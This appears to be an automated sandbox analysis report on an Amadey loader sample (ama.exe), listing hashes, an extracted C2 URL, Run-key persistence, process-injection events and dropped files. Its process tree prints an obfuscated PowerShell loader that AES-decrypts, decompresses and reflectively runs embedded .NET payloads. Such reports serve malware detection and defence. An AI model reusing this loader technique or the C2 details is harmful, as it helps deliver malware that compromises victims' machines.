Analysis
- max time kernel
117s - max time network
120s - platform
windows7_x64 - resource
win7-20231215-en - resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system - submitted
25/01/2024, 01:59
Behavioral task
behavioral1
Sample
ama.exe
Resource
win7-20231215-en
14 signatures
150 seconds
Behavioral task
behavioral2
Sample
ama.exe
Resource
win10v2004-20231215-en
13 signatures
150 seconds
General
- Target ama.exe
- Size 4.9MB
- Sample240125-ced55sdgf9
- SHA256 cb80f3f8dbdf12c6929acd19d547b1c0278e7b71a4e2bcf232a7776cf1c287df
- MD5 85bacd21ce284a3ff3151da33c84d43b
- SHA1 cbcad3397fd1034028ebe3cc7c4ef87680e3aae7
- SHA512 2d18c893381c5552c6587c17029a32c8f7b1e5ee180075f65e96734cc33eb0f19dbdb8fa4c13aa2883b30ebf4d92512b3f4703b8b2c61f1754d35960e325cc6b
- SSDEEP 49152:1lilFnSFg4qVKrQ0buQfHyGGMRTQ/xy8JL3BrrV8GqMOYVFXOuVhGdqCDdWLLxFo:nifgOCpRew8nzmNuVUDZWyzugj
- MD5 SHA1 SHA512 SSDEEP
Score
10/10
Malware Config
Extracted
Family
-
amadey
Version
-
4.15
C2
-
http://185.172.128.63
Attributes
-
install_dir
6187fcb526
-
install_file
Dctooux.exe
-
strings_key
cd3b2619c9009c441355ae581d53163e
-
url_paths
/v8sjh3hs8/index.php
rc4.plain
Signatures
- Detect ZGRat V1 1 IoCs
resource yara_rule behavioral1/memory/3044-0-0x0000000000300000-0x00000000007F0000-memory.dmp family_zgrat_v1 - Executes dropped EXE 1 IoCs
pid Process 2056 sc.exe - Loads dropped DLL 4 IoCs
pid Process 3044 ama.exe 2576 RegSvcs.exe 2248 cmd.exe 2440 sc.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-452311807-3713411997-1028535425-1000\Software\Microsoft\Windows\CurrentVersion\Run\sc.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1001078001\\sc.exe" RegSvcs.exe - Legitimate hosting services abused for malware hosting/C2 1 TTPs
- Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3044 set thread context of 2576 3044 ama.exe 29 PID 2056 set thread context of 2248 2056 sc.exe 42 - Launches sc.exe 2 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2056 sc.exe 2440 sc.exe - Program crash 1 IoCs
pid pid_target Process procid_target 2560 3044 WerFault.exe 27 - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 2640 powershell.exe 2056 sc.exe 2056 sc.exe 2248 cmd.exe 2248 cmd.exe - Suspicious behavior: MapViewOfSection 2 IoCs
pid Process 2056 sc.exe 2248 cmd.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2640 powershell.exe - Suspicious use of WriteProcessMemory 55 IoCs
description pid Process procid_target PID 3044 wrote to memory of 2704 3044 ama.exe 28 PID 3044 wrote to memory of 2704 3044 ama.exe 28 PID 3044 wrote to memory of 2704 3044 ama.exe 28 PID 3044 wrote to memory of 2704 3044 ama.exe 28 PID 3044 wrote to memory of 2704 3044 ama.exe 28 PID 3044 wrote to memory of 2704 3044 ama.exe 28 PID 3044 wrote to memory of 2704 3044 ama.exe 28 PID 3044 wrote to memory of 2576 3044 ama.exe 29 PID 3044 wrote to memory of 2576 3044 ama.exe 29 PID 3044 wrote to memory of 2576 3044 ama.exe 29 PID 3044 wrote to memory of 2576 3044 ama.exe 29 PID 3044 wrote to memory of 2576 3044 ama.exe 29 PID 3044 wrote to memory of 2576 3044 ama.exe 29 PID 3044 wrote to memory of 2576 3044 ama.exe 29 PID 3044 wrote to memory of 2576 3044 ama.exe 29 PID 3044 wrote to memory of 2576 3044 ama.exe 29 PID 3044 wrote to memory of 2576 3044 ama.exe 29 PID 3044 wrote to memory of 2576 3044 ama.exe 29 PID 3044 wrote to memory of 2576 3044 ama.exe 29 PID 3044 wrote to memory of 2576 3044 ama.exe 29 PID 3044 wrote to memory of 2576 3044 ama.exe 29 PID 3044 wrote to memory of 2560 3044 ama.exe 30 PID 3044 wrote to memory of 2560 3044 ama.exe 30 PID 3044 wrote to memory of 2560 3044 ama.exe 30 PID 3044 wrote to memory of 2560 3044 ama.exe 30 PID 2576 wrote to memory of 1304 2576 RegSvcs.exe 32 PID 2576 wrote to memory of 1304 2576 RegSvcs.exe 32 PID 2576 wrote to memory of 1304 2576 RegSvcs.exe 32 PID 2576 wrote to memory of 1304 2576 RegSvcs.exe 32 PID 1304 wrote to memory of 2052 1304 cmd.exe 34 PID 1304 wrote to memory of 2052 1304 cmd.exe 34 PID 1304 wrote to memory of 2052 1304 cmd.exe 34 PID 1304 wrote to memory of 2052 1304 cmd.exe 34 PID 2052 wrote to memory of 1604 2052 cmd.exe 36 PID 2052 wrote to memory of 1604 2052 cmd.exe 36 PID 2052 wrote to memory of 1604 2052 cmd.exe 36 PID 2052 wrote to memory of 1604 2052 cmd.exe 36 PID 2052 wrote to memory of 2640 2052 cmd.exe 37 PID 2052 wrote to memory of 2640 2052 cmd.exe 37 PID 2052 wrote to memory of 2640 2052 cmd.exe 37 PID 2052 wrote to memory of 2640 2052 cmd.exe 37 PID 2576 wrote to memory of 2056 2576 RegSvcs.exe 41 PID 2576 wrote to memory of 2056 2576 RegSvcs.exe 41 PID 2576 wrote to memory of 2056 2576 RegSvcs.exe 41 PID 2576 wrote to memory of 2056 2576 RegSvcs.exe 41 PID 2056 wrote to memory of 2248 2056 sc.exe 42 PID 2056 wrote to memory of 2248 2056 sc.exe 42 PID 2056 wrote to memory of 2248 2056 sc.exe 42 PID 2056 wrote to memory of 2248 2056 sc.exe 42 PID 2056 wrote to memory of 2248 2056 sc.exe 42 PID 2248 wrote to memory of 2440 2248 cmd.exe 44 PID 2248 wrote to memory of 2440 2248 cmd.exe 44 PID 2248 wrote to memory of 2440 2248 cmd.exe 44 PID 2248 wrote to memory of 2440 2248 cmd.exe 44 PID 2248 wrote to memory of 2440 2248 cmd.exe 44
Processes
-
C:\Users\Admin\AppData\Local\Temp\ama.exe"C:\Users\Admin\AppData\Local\Temp\ama.exe"1⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3044 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe2⤵PID:2704
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe2⤵
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2576 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd" "3⤵
- Suspicious use of WriteProcessMemory
PID:1304 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd"4⤵
- Suspicious use of WriteProcessMemory
PID:2052 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd';$RfUL='SplstIeistIetstIe'.Replace('stIe', ''),'TrfmgKafmgKnfmgKsfmgKfofmgKrfmgKmFfmgKinafmgKlBfmgKlofmgKckfmgK'.Replace('fmgK', ''),'DecHsSjomHsSjpHsSjrHsSjessHsSj'.Replace('HsSj', ''),'EleBZnKmBZnKeBZnKntBZnKAtBZnK'.Replace('BZnK', ''),'ReGrwradGrwrLiGrwrnGrwreGrwrsGrwr'.Replace('Grwr', ''),'CIOLbopIOLbyIOLbTIOLboIOLb'.Replace('IOLb', ''),'FrpwLNompwLNBapwLNspwLNepwLN6pwLN4SpwLNtpwLNripwLNnpwLNgpwLN'.Replace('pwLN', ''),'LZaAAoZaAAaZaAAdZaAA'.Replace('ZaAA', ''),'IswsYnswsYvokswsYeswsY'.Replace('swsY', ''),'MayHpwinyHpwMoyHpwduyHpwleyHpw'.Replace('yHpw', ''),'EnfcpnnfcptrynfcpPnfcponfcpinnfcptnfcp'.Replace('nfcp', ''),'GKVjZetCKVjZurKVjZrKVjZenKVjZtPrKVjZocKVjZessKVjZ'.Replace('KVjZ', ''),'CmmRYhanmmRYgmmRYeExmmRYtenmmRYsmmRYimmRYonmmRY'.Replace('mmRY', ''),'CrewBkzatwBkzeDwBkzecwBkzrywBkzptwBkzowBkzrwBkz'.Replace('wBkz', '');powershell -w hidden;function HYZRs($YjbML){$FKFbd=[System.Security.Cryptography.Aes]::Create();$FKFbd.Mode=[System.Security.Cryptography.CipherMode]::CBC;$FKFbd.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$FKFbd.Key=[System.Convert]::($RfUL[6])('2M0fT7QfMAGeiJeE2Y8HU5skhkMH0OcAFA0SFzRHVws=');$FKFbd.IV=[System.Convert]::($RfUL[6])('Wv0CCTjoJ02lflet8TKTGg==');$qvWHS=$FKFbd.($RfUL[13])();$UQnTy=$qvWHS.($RfUL[1])($YjbML,0,$YjbML.Length);$qvWHS.Dispose();$FKFbd.Dispose();$UQnTy;}function tsjtk($YjbML){$KLabx=New-Object System.IO.MemoryStream(,$YjbML);$CeqVN=New-Object System.IO.MemoryStream;$OFOrH=New-Object System.IO.Compression.GZipStream($KLabx,[IO.Compression.CompressionMode]::($RfUL[2]));$OFOrH.($RfUL[5])($CeqVN);$OFOrH.Dispose();$KLabx.Dispose();$CeqVN.Dispose();$CeqVN.ToArray();}$xZSiw=[System.IO.File]::($RfUL[4])([Console]::Title);$VwJSg=tsjtk (HYZRs ([Convert]::($RfUL[6])([System.Linq.Enumerable]::($RfUL[3])($xZSiw, 5).Substring(2))));$NGyKN=tsjtk (HYZRs ([Convert]::($RfUL[6])([System.Linq.Enumerable]::($RfUL[3])($xZSiw, 6).Substring(2))));[System.Reflection.Assembly]::($RfUL[7])([byte[]]$NGyKN).($RfUL[10]).($RfUL[8])($null,$null);[System.Reflection.Assembly]::($RfUL[7])([byte[]]$VwJSg).($RfUL[10]).($RfUL[8])($null,$null); "5⤵PID:1604
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-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2640
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe"C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Launches sc.exe
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2056 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe4⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2248 -
C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exeC:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe5⤵
- Loads dropped DLL
- Launches sc.exe
PID:2440
-
-
-
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3044 -s 7362⤵
- Program crash
PID:2560
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\1000843021\DoNothing.cmd
- Size 229KB
- SHA256 9e9a0c51690263b2ff0f61f96a684725df65eb0ef8cf6fdcf400814f7634dfd1
- MD5 4c2a5540e7e7adb88c94df8e1967c468
- SHA1 979725fcb62a3492d7dbd3bfdc75e51087dc677b
- SHA512 7a964e6b10260854b18f4aa3af09e52d4a992bb4f7066f7e51b268696e8be5d405cce1e9dd392e70c2f321072a263dd9511d1c71cdf660449d786ec9c4bd3861
- SSDEEP 6144:Lw9eynETNBLMJSgt9Zu+9aVg21lbBuuCjGo4u4PMrXr:5TLM7cb4uCy+37
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\1001035001\sc.exe
- Size 72KB
- SHA256 c24dae179e840e5b797f924621354dcb38c2992336e8d39150723b7edd312bd0
- MD5 11b2a27a7dd5552713b45acf89bc5b95
- SHA1 2e28e7b0a52584f6641e419cd856e091867934de
- SHA512 189f8f6916f77426cad1db4e3046d06a8b35af00d194c59d01b887f045ae8ac758074fcba555ed5b3e67aa51907768839780659787652ae9802de974af68c1af
- SSDEEP 1536:2EQ8a5o41p3XaEGnq0S/iz0wTeXdIlAiwzJlwZDn6ZIN/t87QMbLTO4Z9fY1Vq2g:Hy5o4f3XUnq08iz0wTeUwzPwVn6ZINFg
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\1001078001\sc.exe
- Size 1.4MB
- SHA256 c5e71ca1dcfe7975449a25d339036f3720b0b72aa52d8794b024442216487a4d
- MD5 9e1d9449d92d69c51a605225410f46f9
- SHA1 f6e4d110f48bb4264097dd3101ef791f2c3d01b0
- SHA512 000904eeacc9cc086a9f666dc8cca356e4d1a0ec0fc79dd9032c1b37399a8d75585d4a9b874ca161a38675afe69fceb817482afba75f0e09fc11169fdf16227c
- SSDEEP 24576:N8tYzPKod2UyOtEIh85b6vBIFPocvBlcjPPdoCmNIqS2IR0QQPyMzMZB84D:N8tOPKjp017vBIRvBluPdoCmNM2y08CU
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\2b2e2edc
- Size 1004KB
- SHA256 196c8b7215b0bc5cdfb86a31d38059ff041fe2770bb6d77dd0f426c42cb587e9
- MD5 c5cdc80e09697f86a249ba960d8370af
- SHA1 8fdfe2c6b1c37dc38cd080a6570e0c807dbed260
- SHA512 44246acd42de1aea8c44f31982c842cc6436643033d2f2e4b6b5add0b3a9df59e85c6ab37c482c6684e27050f9fae84803d54df71d2c7fd36e28c55a06d2c77d
- SSDEEP 24576:C/0v+XY1DquNkcEFNKHlgQxxat9UfVicuuQ0:C8cw9cN+lgFUfkJ6
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\CabCC85.tmp
- Size 65KB
- SHA256 c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
- MD5 ac05d27423a85adc1622c714f2cb6184
- SHA1 b0fe2b1abddb97837ea0195be70ab2ff14d43198
- SHA512 6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d
- SSDEEP 1536:drFvD2YSE/sFDqV0FJJynkAhftCvMd3coa282frgW1qgNzU:drVDJSeaDqV0FJwLhVkr282fF5U
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\TarCCD6.tmp
- Size 171KB
- SHA256 4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f
- MD5 9c0c641c06238516f27941aa1166d427
- SHA1 64cd549fb8cf014fcd9312aa7a5b023847b6c977
- SHA512 936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06
- SSDEEP 1536:+AuJ+lCUs0RvWqgCyPW5BXNWdm1wpyru2/3EwjYoz0VDTrubmt6mJp:+9J+q0RuXCyfdmAyru2/RAKtgp
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\AppData\Local\Temp\Protect544cd51a.dll
- Size 742KB
- SHA256 dfce2d4d06de6452998b3c5b2dc33eaa6db2bd37810d04e3d02dc931887cfddd
- MD5 544cd51a596619b78e9b54b70088307d
- SHA1 4769ddd2dbc1dc44b758964ed0bd231b85880b65
- SHA512 f56d8b81022bb132d40aa78596da39b5c212d13b84b5c7d2c576bbf403924f1d22e750de3b09d1be30aea359f1b72c5043b19685fc9bf06d8040bfee16b17719
- SSDEEP 12288:wCMz4nuvURpZ4jR1b2Ag+dQMWCD8iN2+OeO+OeNhBBhhBBgoo+A1AW8JwkaCZ+36:wCs4uvW4jfb2K90oo+C8JwUZc0
- MD5 SHA1 SHA512 SSDEEP